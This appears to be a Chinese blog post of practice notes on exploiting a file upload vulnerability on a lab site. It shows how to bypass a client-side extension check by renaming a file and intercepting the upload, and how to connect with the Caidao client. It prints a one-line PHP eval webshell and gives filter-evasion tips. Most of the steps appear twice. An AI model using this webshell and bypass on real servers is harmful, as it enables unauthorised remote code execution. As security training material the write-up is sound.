文件上传漏洞练习笔记(1)
2018-01-10 22:19
211 查看
(1)打开网站
![](http://i2.51cto.com/images/blog/201801/10/1fc924e0123b325f00dbe179456f4ad6.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(2)我们注意到一个图片上传,先传个jpg看看
![](http://i2.51cto.com/images/blog/201801/10/d69330731e0899ba2087c0990514a832.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(3)结果中可以看到Stored in: upload/Tulips.jpg
先记一下,这个是文件的保存路径,后边会用到。
下边开始看看传其他文件,php,或随便一个后缀名文件,探究他的过滤能力
我写了个php文件为1text.php
![](http://i2.51cto.com/images/blog/201801/10/4d7319ab9500820e5098efc25711a4da.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(4)我们发现不能上传文件,可是又抓包抓不到,可以判定,在本地做了文件过滤
这时候,我们可以看看源代码,发现有后缀名的校验
![](http://i2.51cto.com/images/blog/201801/10/4939d11e4a3898b5013e205a4ea79e38.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(5)我们现在把1test.php改为1test.jpg
![](http://i2.51cto.com/images/blog/201801/10/2219a43dac26e6cc53c59a6c8e5bb6dd.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(6)可以发现文件是可以上传成功的。
![](http://i2.51cto.com/images/blog/201801/10/d3456de1259251a4bb9669822464bb4b.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(7)但显然,这个也不是我们要的结果,jpg格式不能直接解析
这个时候,我们想想是不是可以在上传的时候将文件名改回php
![](http://i2.51cto.com/images/blog/201801/10/178e2ccdc41b5a49548f6e7c81be0cf3.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(8)居然成功了,,我们菜刀连一下,。。网速太渣,就这样把
![](http://i2.51cto.com/images/blog/201801/10/62c67a6c784f84a98240017cf923e934.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(9)下边提升下难度,如果上传不成功,
![](http://i2.51cto.com/images/blog/201801/10/1fc924e0123b325f00dbe179456f4ad6.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(2)我们注意到一个图片上传,先传个jpg看看
![](http://i2.51cto.com/images/blog/201801/10/d69330731e0899ba2087c0990514a832.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(3)结果中可以看到Stored in: upload/Tulips.jpg
先记一下,这个是文件的保存路径,后边会用到。
下边开始看看传其他文件,php,或随便一个后缀名文件,探究他的过滤能力
我写了个php文件为1text.php
<?php @eval($_POST['c']);?>
![](http://i2.51cto.com/images/blog/201801/10/4d7319ab9500820e5098efc25711a4da.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(4)我们发现不能上传文件,可是又抓包抓不到,可以判定,在本地做了文件过滤
这时候,我们可以看看源代码,发现有后缀名的校验
![](http://i2.51cto.com/images/blog/201801/10/4939d11e4a3898b5013e205a4ea79e38.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(5)我们现在把1test.php改为1test.jpg
![](http://i2.51cto.com/images/blog/201801/10/2219a43dac26e6cc53c59a6c8e5bb6dd.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(6)可以发现文件是可以上传成功的。
![](http://i2.51cto.com/images/blog/201801/10/d3456de1259251a4bb9669822464bb4b.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(7)但显然,这个也不是我们要的结果,jpg格式不能直接解析
这个时候,我们想想是不是可以在上传的时候将文件名改回php
![](http://i2.51cto.com/images/blog/201801/10/178e2ccdc41b5a49548f6e7c81be0cf3.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(8)居然成功了,,我们菜刀连一下,。。网速太渣,就这样把
![](http://i2.51cto.com/images/blog/201801/10/62c67a6c784f84a98240017cf923e934.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(9)下边提升下难度,如果上传不成功,
使用大小写测试,或加 1 2 3 4 5 等,再或者尝试pht文件
相关文章推荐
- 文件上传漏洞在惠信中的应用
- 【Matlab学习笔记】(四)认识matlab的文件类型和简单练习
- CodeIgniter学习笔记五:分页,文件上传,session,验证码
- PHP漏洞全解(九)-文件上传漏洞
- linux命令学习笔记(26):用SecureCRT来上传和下载文件
- 解析导致的文件上传漏洞
- [学习笔记]上传文件到EC2主机
- WordPress Lazy SEO插件lazyseo.php脚本任意文件上传漏洞
- SPRING IN ACTION 第4版笔记-第七章Advanced Spring MVC-003- 上传文件multipart,配置StandardServletMultipartResolver、CommonsMultipartResolver
- Pentaho BI Server 批量上传文件排坑笔记
- 基于Java web技术文件上传和下载功能开发实战练习视频(fileupload)
- Spring学习笔记2之表单数据验证、文件上传实例代码
- WEB安全:文件上传漏洞
- 笔记:ajax文件上传
- 学习笔记 通过javascript ajax方式手动封装表单进行文件上传
- 动网论坛上传文件漏洞的原理以及攻击的代码实现
- struts2 笔记02 文件上传、文件下载、类型转换器、国际化的支持
- [Struts2]struts2 实现文件上传【学习笔记】
- php 上传文件类型判断函数(避免上传漏洞 )
- 《白帽子讲WEB安全》学习笔记之第8章 文件上传漏洞